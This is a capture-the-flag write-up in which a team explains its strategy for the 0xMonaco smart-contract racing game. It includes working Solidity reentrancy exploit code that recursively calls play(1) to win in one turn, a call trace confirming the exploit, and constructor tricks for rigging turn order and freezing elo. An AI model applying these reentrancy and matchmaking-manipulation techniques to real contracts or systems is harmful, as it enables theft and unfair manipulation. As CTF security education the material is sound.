# "Solving" 0xMonaco

#### tl;dr: buy all acceleration, recursively call `monaco.play(1)`, win.

_onemanbandplus2 consists of [Brock Elmore](https://twitter.com/brockjelmore) @ [Nascent](https://nascent.xyz), [Plotchy](https://twitter.com/plotchy) (independent), and [0xalpharush](https://twitter.com/0xalpharush) @ Trail of Bits_

## Context
[0xMonaco](https://0xmonaco.ctf.paradigm.xyz) is a game in which many players compete against each other in a smart contract "race". Each car in the race is a smart contract created by a competitor, with 3 cars in each race. The goal is to get your car to distance 1000 before your competitors do. To do so, there are 2 resources a car can buy:
1. acceleration
2. shells

Acceleration is exactly as it sounds: it increases your car's speed. Shells on the other hand, can shoot forward and change the car in front of your's speed down to 1.

_onemanbandplus2 shelling you in 0xmonaco_

The cost of each of these are determined by a Gradual Dutch Auction (GDA), to read more about this cool mechanism, see [this post from Paradigm](https://www.paradigm.xyz/2022/04/gda).

The winner of the overall competition is determined by players' `elo` scores, the top elo score "wins" (but CTF points were based on some algorithm on top of it, that divied up the points). Elo scoring is a [common method used](https://en.wikipedia.org/wiki/Elo_rating_system) for scoring the relative strength of competitors, and in this case a multiplayer elo algorithm was used. Each player started at 1200 elo, and if your car placed first your elo would increase depending on the elos of your opponents (weaker opponents gain more elo for beating a stronger opponent, and lose less if they lose to a strong opponent, and vice versa for the stronger opponent).

We managed to obtain some data on the history of the races and present a history of the top players of the game over time.

## Elo History
The following gif shows the top 5 players, at any given time, and their elo history. This data is a "best we can do" effort and has some inaccuracies with respect to final rankings and intermediate scores but is good enough for this analysis (plus its cool!).


## The Game & Our Core Strategy

Each car starts with 15000 coins, speed 0, and y (distance travelled) 0. An `ExampleCar` is provided in the repo that simply buys 3 acceleration if it can afford it, as well as a shell if it is not winning and the car in front is going faster than us.

Some teams initially seemed to have just shipped this version of the car. Our team, `onemanbandplus2`, wanted to do something more fun. We started implementing a price gouging feature.

### Price Gouging
Given the constraints of 15000 coins, there is a point in the race in which if you have enough coins and are in first, you can buy useless shells and acceleration with the sole purpose of preventing others from purchasing them.

We crafted a function that let us purchase acceleration or shells up to a specific target price, in the price gouging case, this represented the balance of the richest competitor. Below is a slightly modified snippet of our car's code.


Price gouging worked very well in the early game, but as strategies became more sophisticated, teams were smarter with their money. This lead to:

### Floor pricing

_us, basically_

In addition to price gouging, we had sensible floor pricing. We also would modulate this floor by the price of the inverse resource (i.e. if shells were expensive, our acceleration floor would be higher). This is because the relative value of an acceleration/shell would be higher as the cost of an opponent taking the inverse action against us was higher. For example, we could spend, 300 coins for 4 acceleration, and they would spend 1200 on a single shell, netting us 900 coins with respect to our opponent.

### Coming from behind

When we weren't in first, we mostly used a series of threshold values to determine what we should buy. We would do some price gouging in this case as well, if we knew we could overtake them and prevent them from performing purchases.


### End Game Strategy

The endgame has a few quirks that we specifically address. First of which was just checking how far we had to go, and seeing if we could purchase the needed speed such that at the end of our turn we would win. The other aspect was if a competitor was close to finishing, we tried to be a little unpredictable and purchase a bunch of speed in hopes that we cross the finish line before they do (and before they can shell us). If you finished the game with any coins, you played unoptimally, so we tried to dump all our coins in when we knew the race was close to over.


This was our core strategy, and it worked pretty well. We spent the vast majority of the competition in the top 5 in terms of elo rating.

It was fun and we were iterating on floor thresholds and logic, but then we had an idea.

## The Tactical Nuke

### or: How We Learned to Stop Worrying and Love the Bomb


**While we were examining the `Monaco.sol` contract, we discovered we could win in a single turn.** We were hesitant to deploy this "tactical nuke", as it effectively was mutually assured destruction (..or was it? 🙃), as the player who goes first would always win. It would stop all game strategy and become a pure coding challenge though, and we were having an absolute blast playing. While we were sitting on this, we had seen `The_DUCK` doing some weird things in their games. We figured it was likely reentrancy, but they weren't winning every time with it. So we figured it was time to drop the bomb.

### The Monaco Contract
#### Registration
The infrastructure behind the scenes would take the submitted bytecode from each player, deploy it and subsequently `register` the created car contract in the `Monaco` race contract.

**_Registration Code_**

Car[] public cars;

mapping(Car => CarData) public getCarData;

/*//////////////////////////////////////////////////////////////
                              SETUP
//////////////////////////////////////////////////////////////*/

function register(Car car) external {
    // Prevent accidentally or intentionally registering a car multiple times.
    require(address(getCarData[car].car) == address(0), "DOUBLE_REGISTER");

    // Register the caller as a car in the race.
    getCarData[car] = CarData({balance: STARTING_BALANCE, car: car, speed: 0, y: 0});

    cars.push(car); // Append to the list of cars.

    // Retrieve and cache the total number of cars.
    uint256 totalCars = cars.length;

    // If the game is now full, kick things off.
    if (totalCars == PLAYERS_REQUIRED) {
        // Use the timestamp as random input.
        entropy = uint72(block.timestamp);

        // Mark the game as active.
        state = State.ACTIVE;
    } else require(totalCars < PLAYERS_REQUIRED, "MAX_PLAYERS");

    emit Registered(0, car);
}

#### Playing
The way the game starts is the backend of the game will have deployed the cars and registered them all, then subsequently will call `monaco.play(125)` (125 was originally used, then either upped or subsequent call in batches of 125, unclear). A turn consists of a few steps (skipping a few relatively unimportant bits):
1. Calculate whose turn it is
2. Call the current player's car, whose turn it is, with `takeYourTurn`, allowing them to do any purchasing or actions they see fit to do
3. Update all player positions by adding current speed to current distance
4. End game if any car > `FINISH_DISTANCE`

**_Playing Code_**

function play(uint256 turnsToPlay) external onlyDuringActiveGame {
    unchecked {
        // We'll play turnsToPlay turns, or until the game is done.
        for (; turnsToPlay != 0; turnsToPlay--) {
            Car[] memory allCars = cars; // Get and cache the cars.

            uint256 currentTurn = turns; // Get and cache the current turn.

            // Get the current car by moduloing the turns variable by the player count.
            Car currentTurnCar = allCars[currentTurn % PLAYERS_REQUIRED];

            // Get all car data and the current turn car's index so we can pass it via takeYourTurn.
            (CarData[] memory allCarData, uint256 yourCarIndex) = getAllCarDataAndFindCar(currentTurnCar);

            currentCar = currentTurnCar; // Set the current car temporarily.

            // Call the car to have it take its turn with a max of 2 million gas, and catch any errors that occur.
            try currentTurnCar.takeYourTurn{gas: 2_000_000}(allCarData, yourCarIndex) {} catch {}

            delete currentCar; // Restore the current car to the zero address.

            // Loop over all of the cars and update their data.
            for (uint256 i = 0; i < PLAYERS_REQUIRED; i++) {
                Car car = allCars[i]; // Get the car.

                // Get a pointer to the car's data struct.
                CarData storage carData = getCarData[car];

                // If the car is now past the finish line after moving:
                if ((carData.y += carData.speed) >= FINISH_DISTANCE) {
                    emit Dub(currentTurn, car); // It won.

                    state = State.DONE;

                    return; // Exit early.
                }
            }

            // If this is the last turn in the batch:
            if (currentTurn % PLAYERS_REQUIRED == 0) {
                // Knuth shuffle over the cars using our entropy as randomness.
                for (uint256 j = 0; j < PLAYERS_REQUIRED; ++j) {
                    // Generate a new random number by hashing the old one.
                    uint256 newEntropy = (entropy = uint72(uint256(keccak256(abi.encode(entropy)))));

                    // Choose a random position in front of j to swap with..
                    uint256 j2 = j + (newEntropy % (PLAYERS_REQUIRED - j));

                    Car temp = allCars[j];
                    allCars[j] = allCars[j2];
                    allCars[j2] = temp;
                }

                cars = allCars; // Reorder cars using the new shuffled ones.
            }

            // Note: If we were to deploy this on-chain it this line in particular would be pretty wasteful gas-wise.
            emit TurnCompleted(turns = uint16(currentTurn + 1), getAllCarData(), getAccelerateCost(1), getShellCost(1));
        }
    }
}

### Winning in a single turn
So how do we exploit the `Monaco` contract to win in a single turn? Quite simply actually:

// push nonzero storage gas cost into constructor
uint256 cruiseToFinish = 1;

uint256 currTurn = 1;

// recursion depth
uint256 depth = 1;

// Use fallback to save gas for more recursion (only abi.decode
// when absolutely necessary).
fallback() external {
    // We dont want anyone except monaco address to call this.
    // In theory, we could hack other cars by incrementing the
    // turn via `play` and giving another car fake data.
    //
    // if we knew for example a car always shells when someone
    // is above 12 speed, we could convince them that there is a
    // car in front of them with 25 speed and see if we could
    // trigger them to spend their coins pointlessly
    require(msg.sender == address(monaco));


    // only run this branch the first time thru
    if (depth == 1) {
        // we use this to see if we are actually first
        
        currTurn = monaco.turns();
        
        // insta win condition
        // we use the cost instead of turns, because
        // even if our competitors go first, if they dont buy
        // enough acceleration we can still win in a single turn.
        if (monaco.getAccelerateCost(1) <= 27) {
            // buy all 15k worth of acceleration
            // 
            // if the cost of a single acceleration is less than
            // 27, we will always be able to buy enough to win*
            //
            // *maybe, late game may change this but for the purposes
            // of this branch its true.
            monaco.buyAcceleration(28);
            // we win, set `cruiseToFinish` to true
            // then recurse for an instant win
            //
            // our target is 1000.
            // 1000 / 28 ~= 36 turns, so we need at least
            // 36 recursion depth to insta win. This is just a
            // gas game
            cruiseToFinish = 2;
            recurseInsta();
            return;
        }

        // sad, no insta win condition
        (Monaco.CarData[] memory allCars, uint256 ourCarIndex) = abi.decode(msg.data[4:], (Monaco.CarData[], uint256));

        // run traditional core strategy with maybe some recursion
        // via `recurseSad`
        strategy(allCars, ourCarIndex);

        // special case to test if we can do recursion combined with
        // strategy to win.
        // i.e. can we buy some acceleration & shells and then recurse to win
        if (gonnaWin(allCars, ourCarIndex)) { recurseInsta(); return; }
    }

    // 
    if (cruiseToFinish == 2) {
        recurseInsta();
        return;
    } else {
        recurseSad();
    }
}

// recurses back into this contract with an increased depth,
// adding more and more to our distance since we are the only ones
// with real acceleration
function recurseInsta() internal {
    // as we go deeper in depth, make sure we have enough
    // gas for computation getting out of the recursion inside
    // Monaco.sol
    if (gasleft() > (depth*5000)) {
        // increase the depth counter so we dont try to buy more
        // acceleration
        depth += 1;
        monaco.play(1);
        depth = 1;
    }
}

// recurses back into this contract with an increased depth,
// but in a way that is more pessimistic about gas
function recurseSad() internal {
    if (gasleft() > (depth*15000)) {
        depth += 1;
        monaco.play(1);
        depth = 1;
    }
}

The comments do a decent job explaining what happens here, but effectively we just take a bunch of actions then recursively call `monaco.play(1)`. Here is what the call trace looks like (shortened to only 5 layers of recursion):

[PASS] testGames() (gas: 22995475)
Traces:
  [22995475] MonacoTest::testGames()
    ├─ [2396578] → new onemanbandplus2@"0x185a…1aea"
    │   └─ ← 11968 bytes of code
    ├─ [2310754] → new hypercar@"0xefc5…b132"
    │   └─ ← 11208 bytes of code
    ├─ [2396578] → new onemanbandplus2@"0xf5a2…1382"
    │   └─ ← 11968 bytes of code
    ├─ [69089] Monaco::register(onemanbandplus2: [0x185a4dc360ce69bdccee33b3784b0282f7961aea])
    │   ├─ emit Registered(turn: 0, car: onemanbandplus2: [0x185a4dc360ce69bdccee33b3784b0282f7961aea])
    │   └─ ← ()
    ├─ [47189] Monaco::register(hypercar: [0xefc56627233b02ea95bae7e19f648d7dcd5bb132])
    │   ├─ emit Registered(turn: 0, car: hypercar: [0xefc56627233b02ea95bae7e19f648d7dcd5bb132])
    │   └─ ← ()
    ├─ [52168] Monaco::register(onemanbandplus2: [0xf5a2fe45f4f1308502b1c136b9ef8af136141382])
    │   ├─ emit Registered(turn: 0, car: onemanbandplus2: [0xf5a2fe45f4f1308502b1c136b9ef8af136141382])
    │   └─ ← ()
    ├─ [561] Monaco::state() [staticcall]
    │   └─ ← 1
    ├─ [210931] Monaco::play(1)
    │   ├─ [182849] hypercar::takeYourTurn([(15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (15000, 0, 0, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], 1)
    │   │   ├─ [366] Monaco::turns() [staticcall]
    │   │   │   └─ ← 1
    │   │   ├─ [3737] Monaco::getAccelerateCost(1) [staticcall]
    │   │   │   └─ ← 12
    │   │   ├─ [56780] Monaco::buyAcceleration(28)
    │   │   │   ├─ emit Accelerated(turn: 1, car: hypercar: [0xefc56627233b02ea95bae7e19f648d7dcd5bb132], amount: 28, cost: 14936)
    │   │   │   └─ ← 14936
    │   │   ├─ [119067] Monaco::play(1)
    │   │   │   ├─ [90985] hypercar::takeYourTurn([(15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (64, 28, 0, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], 1)
    │   │   │   │   ├─ [89607] Monaco::play(1)
    │   │   │   │   │   ├─ [61525] hypercar::takeYourTurn([(15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (64, 28, 0, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], 1)
    │   │   │   │   │   │   ├─ [60147] Monaco::play(1)
    │   │   │   │   │   │   │   ├─ [32065] hypercar::takeYourTurn([(15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (64, 28, 0, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], 1)
    │   │   │   │   │   │   │   │   ├─ [30687] Monaco::play(1)
    │   │   │   │   │   │   │   │   │   ├─ [605] hypercar::takeYourTurn([(15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (64, 28, 0, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], 1)
    │   │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   │   ├─ emit TurnCompleted(turn: 2, cars: [(64, 28, 28, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], acceleratePrice: 2228, shellPrice: 992)
    │   │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   │   ├─ emit TurnCompleted(turn: 2, cars: [(64, 28, 56, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], acceleratePrice: 2228, shellPrice: 992)
    │   │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   │   └─ ← ()
    │   │   │   │   │   ├─ emit TurnCompleted(turn: 2, cars: [(64, 28, 84, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], acceleratePrice: 2228, shellPrice: 992)
    │   │   │   │   │   └─ ← ()
    │   │   │   │   └─ ← ()
    │   │   │   ├─ emit TurnCompleted(turn: 2, cars: [(64, 28, 112, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], acceleratePrice: 2228, shellPrice: 992)
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   ├─ emit TurnCompleted(turn: 2, cars: [(64, 28, 140, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), (15000, 0, 0, 0x185a4dc360ce69bdccee33b3784b0282f7961aea), (15000, 0, 0, 0xf5a2fe45f4f1308502b1c136b9ef8af136141382)], acceleratePrice: 2228, shellPrice: 992)
    │   └─ ← ()

The bug shows it's face in the logs:

emit TurnCompleted(turn: 2, cars: [(64, 28, *28*, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), ...)
emit TurnCompleted(turn: 2, cars: [(64, 28, *56*, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), ...)
emit TurnCompleted(turn: 2, cars: [(64, 28, *84*, 0xefc56627233b02ea95bae7e19f648d7dcd5bb132), ...)
...

At the return of each depth, we see the third variable in the log, distance, increase by 28 each time, **but no other cars get their turn**. The other cars' distance still update based on their speed but at the start of the game, that speed is 0 and they don't get an opportunity to change that.

Since we can instantly buy 28 speed, we just have to recurse 36 times to get past the 1000 distance goal. And that is easily accomplished with the 2 million gas provided to us on line 18 of the `play` function:

try currentTurnCar.takeYourTurn{gas: 2_000_000}(allCarData, yourCarIndex) {} catch {}

and presto:
_#sorrynotsorry_

Tactical nuke deployed.

And it absolutely crushed:

_crushing_

(the one loss on here is from `Milotruck` whom we believe also implemented the strategy and went first).

Even though we weren't first in all of these races, our recursion trick + strategy made it so we never lost basically.

### Never losing again

But leaving it up to chance whether we went first wasn't fun, we wanted to dominate at this point. So we decided to see if we could force luck to be in our favor. And we could :).

Since your car had to be registered second at the start of the race to get to move first (`Car currentTurnCar = allCars[currentTurn % PLAYERS_REQUIRED];`, and `allCars[1 % 3] == 1`, the second car registered always went first), we looked at if we could affect this.

We also knew that if our car failed in it's constructor, the game wouldn't run, and it would bounce us to the next game. So, after deploying the nuke we started to see how we could take advantage of a failing constructor and came up with this:

contract hypercar is Car {
    constructor(Monaco _monaco) Car(_monaco) {
        // this must succeed
      	Car _ignore = _monaco.cars(0);
        try _monaco.cars(1) {
          require(false, "we would register third");
        } catch {
          // this is actually the happy path where we will
          // register second!
        }
    }
}

Effectively, this relies on the order of operations that the infrastructure uses. Since it used a `deploy -> register, deploy -> register, deploy -> register` we could actually just check at our constructor if there is only 1 car that has been registered. If it had been `deploy, deploy, deploy, register, register, register`, this wouldn't have worked as no cars would have been registered at the time of our car's construction (but we actually had a workaround if this were the case because we knew anvil was the backend, and likely could do games around block.height).

So, we now have a strategy that will instantly win if we go first, and can force the system to only have valid games start when we go first.

So now we can get infinite elo and never lose. But, hypothetically, if devs patched this vulnerability, we would go back to normal competition and our elo would drop. To solve that, we had another idea...

### Never playing again
Expanding on the "don't play when we don't go first" trick, we could actually use that to never play another game. Our thought was that if we get an insanely high elo (and we wanted to focus on other parts of the CTF), we could just deploy the following:

contract NoPlay is Car {
    constructor(Monaco _monaco) Car(_monaco) {
       require(false, "I dont want to play anymore");
    }
}

This would revert during deployment and we wouldn't have to play ever again, locking our elo in until the end of the competition.

Even if the devs patched this constructor loophole, we could take advantage of the `register` function of Monaco not being access controlled. While in our car's constructor, we could deploy & register Dummy Cars as our opponents. While we didn't think this would cheese the race, we did think this would prevent the race from starting when our opponent's cars reverted during registration.

Unfortunately, the devs did something. They patched our beautiful exploit before we could deploy the elo-locking.

### The _Patch_
_RIP_

All they did was add nonreentrancy we believe, and thus proved the value of immutability (or upgradability?!?!, depends on your point of view :)).

All in all, the below graph really sums up the impact the strategy had on our elo once we deployed it. Shot straight to first place, a few competitors came in while we were developing the `only play winning games` strategy, and then the patch. Which absolutely tanked our elo.

We then redeployed our core strategy, and finished around 8th place (we were in first with 12 minutes to go, but the elo scores at the end had insane variance).


Thanks for reading! Follow us on twitter, listen to our [mixtape on soundcloud](https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley), and see y'all in the next F1 race.